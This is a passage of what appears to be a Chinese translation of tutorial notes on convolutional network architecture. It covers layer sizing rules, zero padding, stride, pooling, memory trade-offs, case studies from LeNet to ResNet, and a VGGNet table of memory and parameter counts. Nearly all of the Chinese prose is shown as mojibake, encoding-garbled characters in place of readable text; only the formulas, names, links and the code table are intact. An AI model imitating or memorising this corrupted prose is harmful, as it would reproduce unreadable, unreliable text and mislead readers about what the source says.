C)=49C^2$ไธชๅ‚ๆ•ฐ๏ผŒ่€Œ3ไธช3x3็š„ๅท็งฏๅฑ‚็š„็ป„ๅˆไป…ๆœ‰$3\\times (C\\times (3\\times 3\\times C))=27C^2$ไธชๅ‚ๆ•ฐใ€‚็›ด่ง‚่ฏดๆฅ๏ผŒๆœ€ๅฅฝ้€‰ๆ‹ฉๅธฆๆœ‰ๅฐๆปคๆณขๅ™จ็š„ๅท็งฏๅฑ‚็ป„ๅˆ๏ผŒ่€Œไธๆ˜ฏ็”จไธ€ไธชๅธฆๆœ‰ๅคง็š„ๆปคๆณขๅ™จ็š„ๅท็งฏๅฑ‚ใ€‚ๅ‰่€…ๅฏไปฅ่กจ่พพๅ‡บ่พ“ๅ…ฅๆ•ฐๆฎไธญๆ›ดๅคšไธชๅผบๅŠ›็‰นๅพ๏ผŒไฝฟ็”จ็š„ๅ‚ๆ•ฐไนŸๆ›ดๅฐ‘ใ€‚ๅ”ฏไธ€็š„ไธ่ถณๆ˜ฏ๏ผŒๅœจ่ฟ›่กŒๅๅ‘ไผ ๆ’ญๆ—ถ๏ผŒไธญ้—ด็š„ๅท็งฏๅฑ‚ๅฏ่ƒฝไผšๅฏผ่‡ดๅ ็”จๆ›ดๅคš็š„ๅ†…ๅญ˜ใ€‚\n\n\n\nๆœ€ๆ–ฐ่ฟ›ๅฑ•๏ผšไผ ็ปŸ็š„ๅฐ†ๅฑ‚ๆŒ‰็…ง็บฟๆ€ง่ฟ›่กŒๆŽ’ๅˆ—็š„ๆ–นๆณ•ๅทฒ็ปๅ—ๅˆฐไบ†ๆŒ‘ๆˆ˜๏ผŒๆŒ‘ๆˆ˜ๆฅ่‡ช่ฐทๆญŒ็š„Inception็ป“ๆž„ๅ’Œๅพฎ่ฝฏไบšๆดฒ็ ”็ฉถ้™ข็š„ๆฎ‹ๅทฎ็ฝ‘็ปœ๏ผˆResidual Net๏ผ‰็ป“ๆž„ใ€‚่ฟ™ไธคไธช็ฝ‘็ปœ๏ผˆไธ‹ๆ–‡ๆกˆไพ‹ๅญฆไน ๅฐ่Š‚ไธญๆœ‰็ป†่Š‚๏ผ‰็š„็‰นๅพๆ›ดๅŠ ๅคๆ‚๏ผŒ่ฟžๆŽฅ็ป“ๆž„ไนŸไธๅŒใ€‚\n\n\n\n## ๅฑ‚็š„ๅฐบๅฏธ่ฎพ็ฝฎ่ง„ๅพ‹\n\nๅˆฐ็Žฐๅœจไธบๆญข๏ผŒๆˆ‘ไปฌ้ƒฝๆฒกๆœ‰ๆๅŠๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญๆฏๅฑ‚็š„่ถ…ๅ‚ๆ•ฐ็š„ไฝฟ็”จใ€‚็Žฐๅœจๅ…ˆไป‹็ป่ฎพ็ฝฎ็ป“ๆž„ๅฐบๅฏธ็š„ไธ€่ˆฌๆ€ง่ง„ๅˆ™๏ผŒ็„ถๅŽๆ นๆฎ่ฟ™ไบ›่ง„ๅˆ™่ฟ›่กŒ่ฎจ่ฎบ๏ผš\n\n\n\n**่พ“ๅ…ฅๅฑ‚**๏ผˆๅŒ…ๅซๅ›พๅƒ็š„๏ผ‰ๅบ”่ฏฅ่ƒฝ่ขซ2ๆ•ด้™คๅพˆๅคšๆฌกใ€‚ๅธธ็”จๆ•ฐๅญ—ๅŒ…ๆ‹ฌ32๏ผˆๆฏ”ๅฆ‚CIFAR-10๏ผ‰๏ผŒ64๏ผŒ96๏ผˆๆฏ”ๅฆ‚STL-10๏ผ‰ๆˆ–224๏ผˆๆฏ”ๅฆ‚ImageNetๅท็งฏ็ฅž็ป็ฝ‘็ปœ๏ผ‰๏ผŒ384ๅ’Œ512ใ€‚\n\n\n\n**ๅท็งฏๅฑ‚**ๅบ”่ฏฅไฝฟ็”จๅฐๅฐบๅฏธๆปคๆณขๅ™จ๏ผˆๆฏ”ๅฆ‚3x3ๆˆ–ๆœ€ๅคš5x5๏ผ‰๏ผŒไฝฟ็”จๆญฅ้•ฟ$S=1$ใ€‚่ฟ˜ๆœ‰ไธ€็‚น้žๅธธ้‡่ฆ๏ผŒๅฐฑๆ˜ฏๅฏน่พ“ๅ…ฅๆ•ฐๆฎ่ฟ›่กŒ้›ถๅกซๅ……๏ผŒ่ฟ™ๆ ทๅท็งฏๅฑ‚ๅฐฑไธไผšๆ”นๅ˜่พ“ๅ…ฅๆ•ฐๆฎๅœจ็ฉบ้—ด็ปดๅบฆไธŠ็š„ๅฐบๅฏธใ€‚ๆฏ”ๅฆ‚๏ผŒๅฝ“$F=3$๏ผŒ้‚ฃๅฐฑไฝฟ็”จ$P=1$ๆฅไฟๆŒ่พ“ๅ…ฅๅฐบๅฏธใ€‚ๅฝ“$F=5,P=2$๏ผŒไธ€่ˆฌๅฏนไบŽไปปๆ„$F$๏ผŒๅฝ“$P=(F-1)/2$็š„ๆ—ถๅ€™่ƒฝไฟๆŒ่พ“ๅ…ฅๅฐบๅฏธใ€‚ๅฆ‚ๆžœๅฟ…้กปไฝฟ็”จๆ›ดๅคง็š„ๆปคๆณขๅ™จๅฐบๅฏธ๏ผˆๆฏ”ๅฆ‚7x7ไน‹็ฑป๏ผ‰๏ผŒ้€šๅธธๅช็”จๅœจ็ฌฌไธ€ไธช้ขๅฏนๅŽŸๅง‹ๅ›พๅƒ็š„ๅท็งฏๅฑ‚ไธŠใ€‚\n\n\n\n**ๆฑ‡่šๅฑ‚**่ดŸ่ดฃๅฏน่พ“ๅ…ฅๆ•ฐๆฎ็š„็ฉบ้—ด็ปดๅบฆ่ฟ›่กŒ้™้‡‡ๆ ทใ€‚ๆœ€ๅธธ็”จ็š„่ฎพ็ฝฎๆ˜ฏ็”จ็”จ2x2ๆ„Ÿๅ—้‡Ž๏ผˆๅณ$F=2$๏ผ‰็š„ๆœ€ๅคงๅ€ผๆฑ‡่š๏ผŒๆญฅ้•ฟไธบ2๏ผˆ$S=2$๏ผ‰ใ€‚ๆณจๆ„่ฟ™ไธ€ๆ“ไฝœๅฐ†ไผšๆŠŠ่พ“ๅ…ฅๆ•ฐๆฎไธญ75%็š„ๆฟ€ๆดปๆ•ฐๆฎไธขๅผƒ๏ผˆๅ› ไธบๅฏนๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆ้ƒฝ่ฟ›่กŒไบ†2็š„้™้‡‡ๆ ท๏ผ‰ใ€‚ๅฆไธ€ไธชไธ้‚ฃไนˆๅธธ็”จ็š„่ฎพ็ฝฎๆ˜ฏไฝฟ็”จ3x3็š„ๆ„Ÿๅ—้‡Ž๏ผŒๆญฅ้•ฟไธบ2ใ€‚ๆœ€ๅคงๅ€ผๆฑ‡่š็š„ๆ„Ÿๅ—้‡Žๅฐบๅฏธๅพˆๅฐ‘ๆœ‰่ถ…่ฟ‡3็š„๏ผŒๅ› ไธบๆฑ‡่šๆ“ไฝœ่ฟ‡ไบŽๆฟ€็ƒˆ๏ผŒๆ˜“้€ ๆˆๆ•ฐๆฎไฟกๆฏไธขๅคฑ๏ผŒ่ฟ™้€šๅธธไผšๅฏผ่‡ด็ฎ—ๆณ•ๆ€ง่ƒฝๅ˜ๅทฎใ€‚\n\n\n\n*ๅ‡ๅฐ‘ๅฐบๅฏธ่ฎพ็ฝฎ็š„้—ฎ้ข˜*๏ผšไธŠๆ–‡ไธญๅฑ•็คบ็š„ไธค็ง่ฎพ็ฝฎๆ˜ฏๅพˆๅฅฝ็š„๏ผŒๅ› ไธบๆ‰€ๆœ‰็š„ๅท็งฏๅฑ‚้ƒฝ่ƒฝไฟๆŒๅ…ถ่พ“ๅ…ฅๆ•ฐๆฎ็š„็ฉบ้—ดๅฐบๅฏธ๏ผŒๆฑ‡่šๅฑ‚ๅช่ดŸ่ดฃๅฏนๆ•ฐๆฎไฝ“ไปŽ็ฉบ้—ด็ปดๅบฆ่ฟ›่กŒ้™้‡‡ๆ ทใ€‚ๅฆ‚ๆžœไฝฟ็”จ็š„ๆญฅ้•ฟๅคงไบŽ1ๅนถไธ”ไธๅฏนๅท็งฏๅฑ‚็š„่พ“ๅ…ฅๆ•ฐๆฎไฝฟ็”จ้›ถๅกซๅ……๏ผŒ้‚ฃไนˆๅฐฑๅฟ…้กป้žๅธธไป”็ป†ๅœฐ็›‘็ฃ่พ“ๅ…ฅๆ•ฐๆฎไฝ“้€š่ฟ‡ๆ•ดไธชๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„็š„่ฟ‡็จ‹๏ผŒ็กฎ่ฎคๆ‰€ๆœ‰็š„ๆญฅ้•ฟๅ’Œๆปคๆณขๅ™จ้ƒฝๅฐบๅฏธไบ’็›ธๅปๅˆ๏ผŒๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„็พŽๅฆ™ๅฏน็งฐๅœฐ่”็ณปๅœจไธ€่ตทใ€‚\n\n\n\n*ไธบไป€ไนˆๅœจๅท็งฏๅฑ‚ไฝฟ็”จ1็š„ๆญฅ้•ฟ*๏ผŸๅœจๅฎž้™…ๅบ”็”จไธญ๏ผŒๆ›ดๅฐ็š„ๆญฅ้•ฟๆ•ˆๆžœๆ›ดๅฅฝใ€‚ไธŠๆ–‡ไนŸๅทฒ็ปๆ่ฟ‡๏ผŒๆญฅ้•ฟไธบ1ๅฏไปฅ่ฎฉ็ฉบ้—ด็ปดๅบฆ็š„้™้‡‡ๆ ทๅ…จ้ƒจ็”ฑๆฑ‡่šๅฑ‚่ดŸ่ดฃ๏ผŒๅท็งฏๅฑ‚ๅช่ดŸ่ดฃๅฏน่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๆทฑๅบฆ่ฟ›่กŒๅ˜ๆขใ€‚\n\n\n\n*ไธบไฝ•ไฝฟ็”จ้›ถๅกซๅ……*๏ผŸไฝฟ็”จ้›ถๅกซๅ……้™คไบ†ๅ‰้ขๆๅˆฐ็š„ๅฏไปฅ่ฎฉๅท็งฏๅฑ‚็š„่พ“ๅ‡บๆ•ฐๆฎไฟๆŒๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎๅœจ็ฉบ้—ด็ปดๅบฆ็š„ไธๅ˜๏ผŒ่ฟ˜ๅฏไปฅๆ้ซ˜็ฎ—ๆณ•ๆ€ง่ƒฝใ€‚ๅฆ‚ๆžœๅท็งฏๅฑ‚ๅ€ผ่ฟ›่กŒๅท็งฏ่€Œไธ่ฟ›่กŒ้›ถๅกซๅ……๏ผŒ้‚ฃไนˆๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธๅฐฑไผš็•ฅๅพฎๅ‡ๅฐ๏ผŒ้‚ฃไนˆๅ›พๅƒ่พน็ผ˜็š„ไฟกๆฏๅฐฑไผš่ฟ‡ๅฟซๅœฐๆŸๅคฑๆŽ‰ใ€‚\n\n\n\n*ๅ› ไธบๅ†…ๅญ˜้™ๅˆถๆ‰€ๅš็š„ๅฆฅๅ*๏ผšๅœจๆŸไบ›ๆกˆไพ‹๏ผˆๅฐคๅ…ถๆ˜ฏๆ—ฉๆœŸ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„๏ผ‰ไธญ๏ผŒๅŸบไบŽๅ‰้ข็š„ๅ„็ง่ง„ๅˆ™๏ผŒๅ†…ๅญ˜็š„ไฝฟ็”จ้‡่ฟ…้€Ÿ้ฃ™ๅ‡ใ€‚ไพ‹ๅฆ‚๏ผŒไฝฟ็”จ64ไธชๅฐบๅฏธไธบ3x3็š„ๆปคๆณขๅ™จๅฏน224x224x3็š„ๅ›พๅƒ่ฟ›่กŒๅท็งฏ๏ผŒ้›ถๅกซๅ……ไธบ1๏ผŒๅพ—ๅˆฐ็š„ๆฟ€ๆดปๆ•ฐๆฎไฝ“ๅฐบๅฏธๆ˜ฏ[224x224x64]ใ€‚่ฟ™ไธชๆ•ฐ้‡ๅฐฑๆ˜ฏไธ€ๅƒไธ‡็š„ๆฟ€ๆดปๆ•ฐๆฎ๏ผŒๆˆ–่€…ๅฐฑๆ˜ฏ72MB็š„ๅ†…ๅญ˜๏ผˆๆฏๅผ ๅ›พๅฐฑๆ˜ฏ่ฟ™ไนˆๅคš๏ผŒๆฟ€ๆดปๅ‡ฝๆ•ฐๅ’Œๆขฏๅบฆ้ƒฝๆ˜ฏ๏ผ‰ใ€‚ๅ› ไธบGPU้€šๅธธๅ› ไธบๅ†…ๅญ˜ๅฏผ่‡ดๆ€ง่ƒฝ็“ถ้ขˆ๏ผŒๆ‰€ไปฅๅšๅ‡บไธ€ไบ›ๅฆฅๅๆ˜ฏๅฟ…้กป็š„ใ€‚ๅœจๅฎž่ทตไธญ๏ผŒไบบไปฌๅ€พๅ‘ไบŽๅœจ็ฝ‘็ปœ็š„็ฌฌไธ€ไธชๅท็งฏๅฑ‚ๅšๅ‡บๅฆฅๅใ€‚ไพ‹ๅฆ‚๏ผŒๅฏไปฅๅฆฅๅๅฏ่ƒฝๆ˜ฏๅœจ็ฌฌไธ€ไธชๅท็งฏๅฑ‚ไฝฟ็”จๆญฅ้•ฟไธบ2๏ผŒๅฐบๅฏธไธบ7x7็š„ๆปคๆณขๅ™จ๏ผˆๆฏ”ๅฆ‚ๅœจZFnetไธญ๏ผ‰ใ€‚ๅœจAlexNetไธญ๏ผŒๆปคๆณขๅ™จ็š„ๅฐบๅฏธ็š„11x11๏ผŒๆญฅ้•ฟไธบ4ใ€‚\n\n\n\n## ๆกˆไพ‹ๅญฆไน \n\nไธ‹้ขๆ˜ฏๅท็งฏ็ฅž็ป็ฝ‘็ปœ้ข†ๅŸŸไธญๆฏ”่พƒๆœ‰ๅ็š„ๅ‡ ็ง็ป“ๆž„๏ผš\n\n- **LeNet**๏ผš ็ฌฌไธ€ไธชๆˆๅŠŸ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅบ”็”จ๏ผŒๆ˜ฏYann LeCunๅœจไธŠไธ–็บช90ๅนดไปฃๅฎž็Žฐ็š„ใ€‚ๅฝ“็„ถ๏ผŒๆœ€่‘—ๅ่ฟ˜ๆ˜ฏ่ขซๅบ”็”จๅœจ่ฏ†ๅˆซๆ•ฐๅญ—ๅ’Œ้‚ฎๆ”ฟ็ผ–็ ็ญ‰็š„[LeNet](http://link.zhihu.com/?target=http%3A//yann.lecun.com/exdb/publis/pdf/lecun-98.pdf)็ป“ๆž„ใ€‚\n- **AlexNet**๏ผš[AlexNet](http://link.zhihu.com/?target=http%3A//papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks)ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅœจ่ฎก็ฎ—ๆœบ่ง†่ง‰้ข†ๅŸŸไธญๅ—ๅˆฐๆฌข่ฟŽ๏ผŒๅฎƒ็”ฑAlex Krizhevsky๏ผŒIlya Sutskeverๅ’ŒGeoff Hintonๅฎž็Žฐใ€‚AlexNetๅœจ2012ๅนด็š„[ImageNet ILSVRC ็ซž่ต›](http://link.zhihu.com/?target=http%3A//www.image-net.org/challenges/LSVRC/2014/)ไธญๅคบๅ† ๏ผŒๆ€ง่ƒฝ่ฟœ่ฟœ่ถ…ๅ‡บ็ฌฌไบŒๅ๏ผˆ16%็š„top5้”™่ฏฏ็Ž‡๏ผŒ็ฌฌไบŒๅๆ˜ฏ26%็š„top5้”™่ฏฏ็Ž‡๏ผ‰ใ€‚่ฟ™ไธช็ฝ‘็ปœ็š„็ป“ๆž„ๅ’ŒLeNet้žๅธธ็ฑปไผผ๏ผŒไฝ†ๆ˜ฏๆ›ดๆทฑๆ›ดๅคง๏ผŒๅนถไธ”ไฝฟ็”จไบ†ๅฑ‚ๅ ็š„ๅท็งฏๅฑ‚ๆฅ่Žทๅ–็‰นๅพ๏ผˆไน‹ๅ‰้€šๅธธๆ˜ฏๅช็”จไธ€ไธชๅท็งฏๅฑ‚ๅนถไธ”ๅœจๅ…ถๅŽ้ฉฌไธŠ่ทŸ็€ไธ€ไธชๆฑ‡่šๅฑ‚๏ผ‰ใ€‚\n- **ZF Net**๏ผšMatthew Zeilerๅ’ŒRob Fergusๅ‘ๆ˜Ž็š„็ฝ‘็ปœๅœจILSVRC 2013ๆฏ”่ต›ไธญๅคบๅ† ๏ผŒๅฎƒ่ขซ็งฐไธบ [ZFNet](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1311.2901)๏ผˆZeiler & Fergus Net็š„็ฎ€็งฐ๏ผ‰ใ€‚ๅฎƒ้€š่ฟ‡ไฟฎๆ”น็ป“ๆž„ไธญ็š„่ถ…ๅ‚ๆ•ฐๆฅๅฎž็ŽฐๅฏนAlexNet็š„ๆ”น่‰ฏ๏ผŒๅ…ทไฝ“่ฏดๆฅๅฐฑๆ˜ฏๅขžๅŠ ไบ†ไธญ้—ดๅท็งฏๅฑ‚็š„ๅฐบๅฏธ๏ผŒ่ฎฉ็ฌฌไธ€ๅฑ‚็š„ๆญฅ้•ฟๅ’Œๆปคๆณขๅ™จๅฐบๅฏธๆ›ดๅฐใ€‚\n- **GoogLeNet**๏ผšILSVRC 2014็š„่ƒœๅˆฉ่€…ๆ˜ฏ่ฐทๆญŒ็š„[Szeged็ญ‰](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1409.4842)ๅฎž็Žฐ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚ๅฎƒไธป่ฆ็š„่ดก็Œฎๅฐฑๆ˜ฏๅฎž็Žฐไบ†ไธ€ไธช*ๅฅ ๅŸบๆจกๅ—*๏ผŒๅฎƒ่ƒฝๅคŸๆ˜พ่‘—ๅœฐๅ‡ๅฐ‘็ฝ‘็ปœไธญๅ‚ๆ•ฐ็š„ๆ•ฐ้‡๏ผˆAlexNetไธญๆœ‰60M๏ผŒ่ฏฅ็ฝ‘็ปœไธญๅชๆœ‰4M๏ผ‰ใ€‚่ฟ˜ๆœ‰๏ผŒ่ฟ™ไธช่ฎบๆ–‡ไธญๆฒกๆœ‰ไฝฟ็”จๅท็งฏ็ฅž็ป็ฝ‘็ปœ้กถ้ƒจไฝฟ็”จๅ…จ่ฟžๆŽฅๅฑ‚๏ผŒ่€Œๆ˜ฏไฝฟ็”จไบ†ไธ€ไธชๅนณๅ‡ๆฑ‡่š๏ผŒๆŠŠๅคง้‡ไธๆ˜ฏๅพˆ้‡่ฆ็š„ๅ‚ๆ•ฐ้ƒฝๅŽป้™คๆŽ‰ไบ†ใ€‚GooLeNet่ฟ˜ๆœ‰ๅ‡ ็งๆ”น่ฟ›็š„็‰ˆๆœฌ๏ผŒๆœ€ๆ–ฐ็š„ไธ€ไธชๆ˜ฏ[Inception-v4](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1602.07261)ใ€‚\n- **VGGNet**๏ผšILSVRC 2014็š„็ฌฌไบŒๅๆ˜ฏKaren Simonyanๅ’Œ Andrew Zissermanๅฎž็Žฐ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ๏ผŒ็Žฐๅœจ็งฐๅ…ถไธบ[VGGNet](http://link.zhihu.com/?target=http%3A//www.robots.ox.ac.uk/%7Evgg/research/very_deep/)ใ€‚ๅฎƒไธป่ฆ็š„่ดก็Œฎๆ˜ฏๅฑ•็คบๅ‡บ็ฝ‘็ปœ็š„ๆทฑๅบฆๆ˜ฏ็ฎ—ๆณ•ไผ˜่‰ฏๆ€ง่ƒฝ็š„ๅ…ณ้”ฎ้ƒจๅˆ†ใ€‚ไป–ไปฌๆœ€ๅฅฝ็š„็ฝ‘็ปœๅŒ…ๅซไบ†16ไธชๅท็งฏ/ๅ…จ่ฟžๆŽฅๅฑ‚ใ€‚็ฝ‘็ปœ็š„็ป“ๆž„้žๅธธไธ€่‡ด๏ผŒไปŽๅคดๅˆฐๅฐพๅ…จ้ƒจไฝฟ็”จ็š„ๆ˜ฏ3x3็š„ๅท็งฏๅ’Œ2x2็š„ๆฑ‡่šใ€‚ไป–ไปฌ็š„[้ข„่ฎญ็ปƒๆจกๅž‹](http://link.zhihu.com/?target=http%3A//www.robots.ox.ac.uk/%7Evgg/research/very_deep/)ๆ˜ฏๅฏไปฅๅœจ็ฝ‘็ปœไธŠ่Žทๅพ—ๅนถๅœจCaffeไธญไฝฟ็”จ็š„ใ€‚VGGNetไธๅฅฝ็š„ไธ€็‚นๆ˜ฏๅฎƒ่€—่ดนๆ›ดๅคš่ฎก็ฎ—่ต„ๆบ๏ผŒๅนถไธ”ไฝฟ็”จไบ†ๆ›ดๅคš็š„ๅ‚ๆ•ฐ๏ผŒๅฏผ่‡ดๆ›ดๅคš็š„ๅ†…ๅญ˜ๅ ็”จ๏ผˆ140M๏ผ‰ใ€‚ๅ…ถไธญ็ปๅคงๅคšๆ•ฐ็š„ๅ‚ๆ•ฐ้ƒฝๆ˜ฏๆฅ่‡ชไบŽ็ฌฌไธ€ไธชๅ…จ่ฟžๆŽฅๅฑ‚ใ€‚ๅŽๆฅๅ‘็Žฐ่ฟ™ไบ›ๅ…จ่ฟžๆŽฅๅฑ‚ๅณไฝฟ่ขซๅŽป้™ค๏ผŒๅฏนไบŽๆ€ง่ƒฝไนŸๆฒกๆœ‰ไป€ไนˆๅฝฑๅ“๏ผŒ่ฟ™ๆ ทๅฐฑๆ˜พ่‘—้™ไฝŽไบ†ๅ‚ๆ•ฐๆ•ฐ้‡ใ€‚\n- **ResNet**๏ผš[ๆฎ‹ๅทฎ็ฝ‘็ปœ](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1512.03385)๏ผˆResidual Network๏ผ‰ๆ˜ฏILSVRC2015็š„่ƒœๅˆฉ่€…๏ผŒ็”ฑไฝ•ๆบๆ˜Ž็ญ‰ๅฎž็Žฐใ€‚ๅฎƒไฝฟ็”จไบ†็‰นๆฎŠ็š„*่ทณ่ทƒ้“พๆŽฅ*๏ผŒๅคง้‡ไฝฟ็”จไบ†[ๆ‰น้‡ๅฝ’ไธ€ๅŒ–](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1502.03167)๏ผˆbatch normalization๏ผ‰ใ€‚่ฟ™ไธช็ป“ๆž„ๅŒๆ ทๅœจๆœ€ๅŽๆฒกๆœ‰ไฝฟ็”จๅ…จ่ฟžๆŽฅๅฑ‚ใ€‚่ฏป่€…ๅฏไปฅๆŸฅ็œ‹ไฝ•ๆบๆ˜Ž็š„็š„ๆผ”่ฎฒ๏ผˆ[่ง†้ข‘](http://link.zhihu.com/?target=https%3A//github.com/gcr/torch-residual-networks)๏ผŒ[PPT](http://link.zhihu.com/?target=https%3A//github.com/gcr/torch-residual-networks)๏ผ‰๏ผŒไปฅๅŠไธ€ไบ›ไฝฟ็”จTorch้‡็Žฐ็ฝ‘็ปœ็š„[ๅฎž้ชŒ](http://link.zhihu.com/?target=https%3A//github.com/gcr/torch-residual-networks)ใ€‚ResNetๅฝ“ๅ‰ๆœ€ๅฅฝ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๆจกๅž‹๏ผˆ2016ๅนดไบ”ๆœˆ๏ผ‰ใ€‚ไฝ•ๅผ€ๆ˜Ž็ญ‰ๆœ€่ฟ‘็š„ๅทฅไฝœๆ˜ฏๅฏนๅŽŸๅง‹็ป“ๆž„ๅšไธ€ไบ›ไผ˜ๅŒ–๏ผŒๅฏไปฅ็œ‹่ฎบๆ–‡[Identity Mappings in Deep Residual Networks](http://link.zhihu.com/?target=https%3A//arxiv.org/abs/1603.05027)๏ผŒ2016ๅนด3ๆœˆๅ‘่กจใ€‚\n\n**VGGNet็š„็ป†่Š‚๏ผš**ๆˆ‘ไปฌ่ฟ›ไธ€ๆญฅๅฏน[VGGNet](http://link.zhihu.com/?target=http%3A//www.robots.ox.ac.uk/%7Evgg/research/very_deep/)็š„็ป†่Š‚่ฟ›่กŒๅˆ†ๆžๅญฆไน ใ€‚ๆ•ดไธชVGGNetไธญ็š„ๅท็งฏๅฑ‚้ƒฝๆ˜ฏไปฅๆญฅ้•ฟไธบ1่ฟ›่กŒ3x3็š„ๅท็งฏ๏ผŒไฝฟ็”จไบ†1็š„้›ถๅกซๅ……๏ผŒๆฑ‡่šๅฑ‚้ƒฝๆ˜ฏไปฅๆญฅ้•ฟไธบ2่ฟ›่กŒไบ†2x2็š„ๆœ€ๅคงๅ€ผๆฑ‡่šใ€‚ๅฏไปฅๅ†™ๅ‡บๅค„็†่ฟ‡็จ‹ไธญๆฏไธ€ๆญฅๆ•ฐๆฎไฝ“ๅฐบๅฏธ็š„ๅ˜ๅŒ–๏ผŒ็„ถๅŽๅฏนๆ•ฐๆฎๅฐบๅฏธๅ’Œๆ•ดไฝ“ๆƒ้‡็š„ๆ•ฐ้‡่ฟ›่กŒๆŸฅ็œ‹๏ผš\n\n```shell\nINPUT: [224x224x3] memory: 224*224*3=150K weights: 0\nCONV3-64: [224x224x64] memory: 224*224*64=3.2M weights: (3*3*3)*64 = 1,728\nCONV3-64: [224x224x64] memory: 224*224*64=3.2M weights: (3*3*64)*64 = 36,864\nPOOL2: [112x112x64] memory: 112*112*64=800K weights: 0\nCONV3-128: [112x112x128] memory: 112*112*128=1.6M weights: (3*3*64)*128 = 73,728\nCONV3-128: [112x112x128] memory: 112*112*128=1.6M weights: (3*3*128)*128 = 147,456\nPOOL2: [56x56x128] memory: 56*56*128=400K weights: 0\nCONV3-256: [56x56x256] memory: 56*56*256=800K weights: (3*3*128)*256 = 294,912\nCONV3-256: [56x56x256] memory: 56*56*256=800K weights: (3*3*256)*256 = 589,824\nCONV3-256: [56x56x256] memory: 56*56*256=800K weights: (3*3*256)*256 = 589,824\nPOOL2: [28x28x256] memory: 28*28*256=200K weights: 0\nCONV3-512: [28x28x512] memory: 28*28*512=400K weights: (3*3*256)*512 = 1,179,648\nCONV3-512: [28x28x512] memory: 28*28*512=400K weights: (3*3*512)*512 = 2,359,296\nCONV3-512: [28x28x512] memory: 28*28*512=400K weights: (3*3*512)*512 = 2,359,296\nPOOL2: [14x14x512] memory: 14*14*512=100K weights: 0\nCONV3-512: [14x14x512] memory: 14*14*512=100K weights: (3*3*512)*512 = 2,359,296\nCONV3-512: [14x14x512] memory: 14*14*512=100K weights: (3*3*512)*512 = 2,359,296\nCONV3-512: [14x14x512] memory: 14*14*512=100K weights: (3*3*512)*512 = 2,359,296\nPOOL2: [7x7x512] memory: 7*7*512=25K weights: 0\nFC: [1x1x4096] memory: 4096 weights: 7*7*512*4096 = 102,760,448\nFC: [1x1x4096] memory: 4096 weights: 4096*4096 = 16,777,216\nFC: [1x1x1000] memory: 1000 weights: 4096*1000 = 4,096,000\n\nTOTAL memory: 24M * 4 bytes ~= 93MB / image (only forward! ~*2 for bwd)\nTOTAL params: 138M parameters\n```\n\nๆณจๆ„๏ผŒๅคง้ƒจๅˆ†็š„ๅ†…ๅญ˜ๅ’Œ่ฎก็ฎ—ๆ—ถ้—ด้ƒฝ่ขซๅ‰้ข็š„ๅท็งฏๅฑ‚ๅ ็”จ๏ผŒๅคง้ƒจๅˆ†็š„ๅ‚ๆ•ฐ้ƒฝ็”จๅœจๅŽ้ข็š„ๅ…จ่ฟžๆŽฅๅฑ‚๏ผŒ่ฟ™ๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญๆ˜ฏๆฏ”่พƒๅธธ่ง็š„ใ€‚ๅœจ่ฟ™ไธชไพ‹ๅญไธญ๏ผŒๅ…จ้ƒจๅ‚ๆ•ฐๆœ‰140M๏ผŒไฝ†็ฌฌไธ€ไธชๅ…จ่ฟžๆŽฅๅฑ‚ๅฐฑๅŒ…ๅซไบ†100M็š„ๅ‚ๆ•ฐใ€‚\n\n\n\n## ่ฎก็ฎ—ไธŠ็š„่€ƒ้‡\n\nๅœจๆž„ๅปบๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„ๆ—ถ๏ผŒๆœ€ๅคง็š„็“ถ้ขˆๆ˜ฏๅ†…ๅญ˜็“ถ้ขˆใ€‚ๅคง้ƒจๅˆ†็ŽฐไปฃGPU็š„ๅ†…ๅญ˜ๆ˜ฏ3/4/6GB๏ผŒๆœ€ๅฅฝ็š„GPUๅคง็บฆๆœ‰12GB็š„ๅ†…ๅญ˜ใ€‚่ฆๆณจๆ„ไธ‰็งๅ†…ๅญ˜ๅ ็”จๆฅๆบ๏ผš\n\n- ๆฅ่‡ชไธญ้—ดๆ•ฐๆฎไฝ“ๅฐบๅฏธ๏ผšๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญ็š„ๆฏไธ€ๅฑ‚ไธญ้ƒฝๆœ‰ๆฟ€ๆดปๆ•ฐๆฎไฝ“็š„ๅŽŸๅง‹ๆ•ฐๅ€ผ๏ผŒไปฅๅŠๆŸๅคฑๅ‡ฝๆ•ฐๅฏนๅฎƒไปฌ็š„ๆขฏๅบฆ๏ผˆๅ’Œๆฟ€ๆดปๆ•ฐๆฎไฝ“ๅฐบๅฏธไธ€่‡ด๏ผ‰ใ€‚้€šๅธธ๏ผŒๅคง้ƒจๅˆ†ๆฟ€ๆดปๆ•ฐๆฎ้ƒฝๆ˜ฏๅœจ็ฝ‘็ปœไธญ้ ๅ‰็š„ๅฑ‚ไธญ๏ผˆๆฏ”ๅฆ‚็ฌฌไธ€ไธชๅท็งฏๅฑ‚๏ผ‰ใ€‚ๅœจ่ฎญ็ปƒๆ—ถ๏ผŒ่ฟ™ไบ›ๆ•ฐๆฎ้œ€่ฆๆ”พๅœจๅ†…ๅญ˜ไธญ๏ผŒๅ› ไธบๅๅ‘ไผ 